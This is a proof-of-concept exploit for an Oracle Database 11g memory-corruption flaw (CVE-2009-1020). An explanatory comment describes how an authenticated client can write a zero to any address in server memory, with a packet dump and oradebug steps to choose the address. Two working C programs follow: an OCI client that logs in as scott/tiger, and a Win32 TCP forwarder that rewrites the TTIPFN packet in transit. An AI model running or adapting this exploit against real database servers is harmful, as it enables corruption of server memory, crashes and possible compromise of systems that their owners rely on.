/*
CVE-2009-1020 PoC (CPUjul2009) Fri, 07/24/2009 - 21:07 鈥?dennis
- Vulnerability CVE-2009-1020 receives a CVSS Base Score of 9.0 for Windows, and 6.5 for Unix, Linux, and other platforms. This means that a successful exploitation of the vulnerability can lead to a full compromise of the targeted server at the OS level only on Windows platforms. On other platforms, the scope of the exploitation will be limited to the database layer (i.e. only the database application will be compromised). This vulnerability affects Oracle Database Server 9.2.0.8, 9.2.0.8DV, 10.1.0.5, 10.2.0.4, and 11.1.0.7. 鈥擳his vulnerability is not remotely exploitable without authentication: The attacker needs to be authenticated to the Database (or use a previously authenticated session) in order to carry on the attack.
Here is explanation of vulnerability I did found.
Essentially, it allow attacker to write 0 (32-bit DWORD) at any arbitrary address of Oracle instance process memory.
This PoC tested with 11g Linux only.
It require 11g linux client and 11g linux server, because only in these circumstances we can be sure we modify right byte. In other circumstances, like another RDBMS versions and OS-es, packet which need be modified will be different slightly.
This PoC consist of two parts: very simple TCP forwarder running in Win32 (of course it can be ported to Linux) and simple program executing SQL statement "select * from v$version", it must be running in Linux x32 box.
TCP forwarder only forwards packets from one address to other, nothing more. In our case, it is just adapter between RDBMS and "legal" application asking for version. When TCP forwarder detect TTIPFN packet sent from client to server, it modify it:
if (buf[0xA]==0x11) // TTIPFN, that's our packet { printf ("TTIPFN from client, we modify it.\n");
buf[26]=0x9F; buf[84]=pos&0xFF; buf[85]=(pos >> 8)&0xFF; buf[86]=(pos >> 16)&0xFF; buf[87]=(pos >> 24)&0xFF; };
The packet we need to modify should looks like:
0000 00 f9 00 00 06 00 00 00 00 00 11 6b 04 82 00 00 ...........k.... 0010 00 2a 00 00 00 01 00 00 00 03 9f 05 71 80 00 00 .*..........q... 0020 00 00 00 00 fe ff ff ff 17 00 00 00 fe ff ff ff ................ 0030 0d 00 00 00 fe ff ff ff fe ff ff ff 00 00 00 00 ................ 0040 01 00 00 00 00 28 00 00 00 00 00 00 00 00 00 00 .....(.......... 0050 00 00 00 00 34 12 cd ab 00 00 00 00 fe ff ff ff ....4...........
34 12 cd ab here is the DWORD we modify
0060 fe ff ff ff fe ff ff ff 01 00 00 00 00 00 00 00 ................ 0070 fe ff ff ff fe ff ff ff 00 00 00 00 00 00 00 00 ................ 0080 00 00 00 00 00 00 00 00 00 00 00 00 17 73 65 6c .............sel 0090 65 63 74 20 2a 20 66 72 6f 6d 20 76 24 76 65 72 ect * from v$ver 00a0 73 69 6f 6e 01 00 00 00 01 00 00 00 00 00 00 00 sion............ 00b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00c0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00d0 00 00 00 00 00 00 00 00 01 01 00 00 00 ff 27 00 ..............'. 00e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00f0 00 b2 00 01 00 00 00 00 00 .........
pos is the address which we like to write 0 at.
Let's look for some random SGA variable in memory:
SQL> oradebug setmypid Statement processed.
SQL> oradebug dumpsga Statement processed.
SQL> oradebug dumpvar sga kywmpleq1_e_ sword kywmpleq1_e_ [20001070, 20001074) = 0000014B
Now run TCP forwarder on win32 box:
tcp_fwd 192.168.0.100 1521 192.168.0.115 1521 0x20001070
192.168.0.100 is the address of Win32 box and .115 is the address of 11g server Linux x86.
The last value is the address.
Copy "version" binary to linux box, or copy its source and compile. This utility login into database as SCOTT, so this account need to be unlocked.
Now run it:
export LD_LIBRARY_PATH=$ORACLE_HOME/lib ./version 192.168.0.100/orcl
Run "version" executable.
Now let's check SGA variable again:
SQL> oradebug dumpvar sga kywmpleq1_e_ sword kywmpleq1_e_ [20001070, 20001074) = 00000000
Actually, function ttcpip() writes zero to arbitrary memory location. Probably, the problem lies in TTC datatypes handling.
*/
-------------------------version.c------------------------
// export LD_LIBRARY_PATH=$ORACLE_HOME/lib // ./version 192.168.0.100/orcl
#include <stdio.h> #include <assert.h> #include <string.h>
#include "oci.h"
static void checkerr(OCIError *errhp, sword status) { unsigned char errbuf[512]; ub4 buflen; sb4 errcode; switch (status) { case OCI_SUCCESS: break; case OCI_SUCCESS_WITH_INFO: printf("ErrorOCI_SUCCESS_WITH_INFO\n"); break; case OCI_NEED_DATA: printf("ErrorOCI_NEED_DATA\n"); break; case OCI_NO_DATA: printf("ErrorOCI_NO_DATA\n"); break; case OCI_ERROR: OCIErrorGet (errhp, 1, NULL, &errcode, // errbuf, 512, (ub4) OCI_HTYPE_ENV); errbuf, 512, OCI_HTYPE_ERROR); printf("Error: %s\n", errbuf); break; case OCI_INVALID_HANDLE: printf("ErrorOCI_INVALID_HANDLE\n"); break; case OCI_STILL_EXECUTING: printf("ErrorOCI_STILL_EXECUTE\n"); break; case OCI_CONTINUE: printf("ErrorOCI_CONTINUE\n"); break; default: break; } }
int main(int argc, char * argv[]) {
OCIEnv *myenvhp; /* the environment handle */ OCIServer *mysrvhp; /* the server handle */ OCIError *myerrhp; /* the error handle */ OCISession *myusrhp; /* user session handle */ OCISvcCtx *mysvchp; /* the service handle */ OCIStmt *stmt; OCIDefine *dfn; char buf[10240];
sword status;
assert (argv[1]!=NULL);
assert (OCIEnvCreate (&myenvhp, OCI_THREADED|OCI_OBJECT, 0, 0, 0, 0, 0, 0)==0);
assert (OCIHandleAlloc (myenvhp, (dvoid**)&mysrvhp, OCI_HTYPE_SERVER, 0, 0)==0);
assert (OCIHandleAlloc (myenvhp, (dvoid**)&myerrhp, OCI_HTYPE_ERROR, 0, 0)==0);
status=OCIServerAttach (mysrvhp, myerrhp, (const OraText *)argv[1], strlen (argv[1]), OCI_DEFAULT);
if (status!=0) { checkerr (myerrhp, status); return 0; };
assert (OCIHandleAlloc (myenvhp, (dvoid**)&mysvchp, OCI_HTYPE_SVCCTX, 0, 0)==0);
assert (OCIAttrSet (mysvchp, OCI_HTYPE_SVCCTX, mysrvhp, 0, OCI_ATTR_SERVER, myerrhp)==0);
assert (OCIHandleAlloc (myenvhp, (dvoid**)&myusrhp, OCI_HTYPE_SESSION, 0, 0)==0);
assert (OCIHandleAlloc (myenvhp, (dvoid**)&stmt, OCI_HTYPE_STMT, 0, 0)==0);
#define USERNAME "scott" #define PASSWORD "tiger"
assert (OCIAttrSet (myusrhp, OCI_HTYPE_SESSION, (void*)USERNAME, strlen(USERNAME), OCI_ATTR_USERNAME, myerrhp)==0);
assert (OCIAttrSet (myusrhp, OCI_HTYPE_SESSION, (void*)PASSWORD, strlen(PASSWORD), OCI_ATTR_PASSWORD, myerrhp)==0);
status=OCISessionBegin (mysvchp, myerrhp, myusrhp, OCI_CRED_RDBMS, OCI_DEFAULT);
if (status!=0) { checkerr (myerrhp, status); return 0; };
assert (OCIAttrSet (mysvchp, OCI_HTYPE_SVCCTX, myusrhp, 0, OCI_ATTR_SESSION, myerrhp)==0);
#define STMT "select * from v$version"
assert (OCIStmtPrepare (stmt, myerrhp, (const OraText *)STMT, strlen (STMT), OCI_NTV_SYNTAX, OCI_DEFAULT)==0);
assert (OCIDefineByPos (stmt, &dfn, myerrhp, 1, buf, 10240, SQLT_STR, 0, 0, 0, OCI_DEFAULT)==0);
status = OCIStmtExecute (mysvchp, stmt, myerrhp, 1, 0, NULL, NULL, OCI_DEFAULT);
if (status!=0) { checkerr (myerrhp, status); return 0; };
// while (status != OCI_NO_DATA) { printf ("|%s\n", buf);
status=OCIStmtFetch(stmt, myerrhp, 1, 0, 0); }
return 0; };
------------------------------------------tcp_fwd.c-----------------------------------
// PoC for CVE-2009-1020 // discovered by Dennis Yurichev <dennis@conus.info>
// for more information: http://blogs.conus.info/node/23
// run: tcp_fwd 192.168.0.100 1521 192.168.0.115 1521 0xABCD1234
#include <winsock2.h> #include <stdio.h> #include <string.h> #include <windows.h> #include <assert.h>
void main(int argc, char * argv[]) { WSADATA wsaData; int iResult = WSAStartup(MAKEWORD(2,2), &wsaData); SOCKET ListenSocket; SOCKET AcceptSocket;
int port_in, port_out;
DWORD pos; printf ("simple TCP forwarder.\nusage: .exe <IP to bind on> <TCP port port to listen> <IP to connect on> <TCP port to connect on> <'zero' position>\n");
assert (argv[1]!=NULL); assert (argv[2]!=NULL); assert (argv[3]!=NULL); assert (argv[4]!=NULL); assert (argv[5]!=NULL);
assert (sscanf (argv[2], "%d", &port_in)==1); assert (sscanf (argv[4], "%d", &port_out)==1);
assert (sscanf (argv[5], "%X", &pos)==1);
assert (iResult == NO_ERROR);
ListenSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
assert (ListenSocket != INVALID_SOCKET);
sockaddr_in service; service.sin_family = AF_INET; service.sin_addr.s_addr = inet_addr(argv[1]); service.sin_port = htons(port_in);
assert (bind (ListenSocket, (SOCKADDR*) &service, sizeof(service)) != SOCKET_ERROR);
assert (listen( ListenSocket, SOMAXCONN ) != SOCKET_ERROR);
printf ("we are listening. press Ctrl-C to exit.\n");
for (;;) { int sent; char *buf; struct hostent *hp=gethostbyname (argv[3]); struct sockaddr_in sin; SOCKET serv; int cycle;
assert (hp!=NULL);
buf=(char*)malloc(60000);
AcceptSocket = accept(ListenSocket, NULL, NULL);
assert (AcceptSocket!=SOCKET_ERROR);
printf ("client appeared\n");
serv=socket (AF_INET, SOCK_STREAM, IPPROTO_TCP); assert (serv!=INVALID_SOCKET);
sin.sin_family=AF_INET; sin.sin_port=htons(port_out); memcpy(&sin.sin_addr, hp->h_addr, hp->h_length);
connect(serv, (struct sockaddr *)&sin, sizeof(sin)); printf ("connected to serv\n");
cycle=0;
for (;;) { int r; struct timeval t; fd_set fd_serv; fd_set fd_client; t.tv_sec=0; t.tv_usec=100000; // 10ms FD_ZERO(&fd_serv); FD_SET(serv, &fd_serv);
FD_ZERO(&fd_client); FD_SET(AcceptSocket, &fd_client);
cycle++;
if (select (0, &fd_client, 0, 0, &t)) { r=recv (AcceptSocket, buf, 60000, 0);
if (r==-1 || r==0) { printf ("r==-1 while reading from client\n"); break; };
if (buf[0xA]==0x11) // TTIPFN, that's our packet { printf ("TTIPFN from client, we modify it.\n");
buf[26]=0x9F; buf[84]=pos&0xFF; buf[85]=(pos >> 8)&0xFF; buf[86]=(pos >> 16)&0xFF; buf[87]=(pos >> 24)&0xFF; };
send (serv, buf, r, 0);
printf ("%d bytes from client to serv\n", r); cycle=0; };
if (select (0, &fd_serv, 0, 0, &t)) { r=recv (serv, buf, 60000, 0); if (r==-1 || r==0) { printf ("r==%08X whlie reading from serv\n", r); break; }; send (AcceptSocket, buf, r, 0); printf ("%d bytes from serv to client\n", r); cycle=0; };
if (cycle>100) { printf ("timeout!\n"); break; }; };
printf ("closing both sockets\n"); closesocket (AcceptSocket); closesocket (serv); }; };
|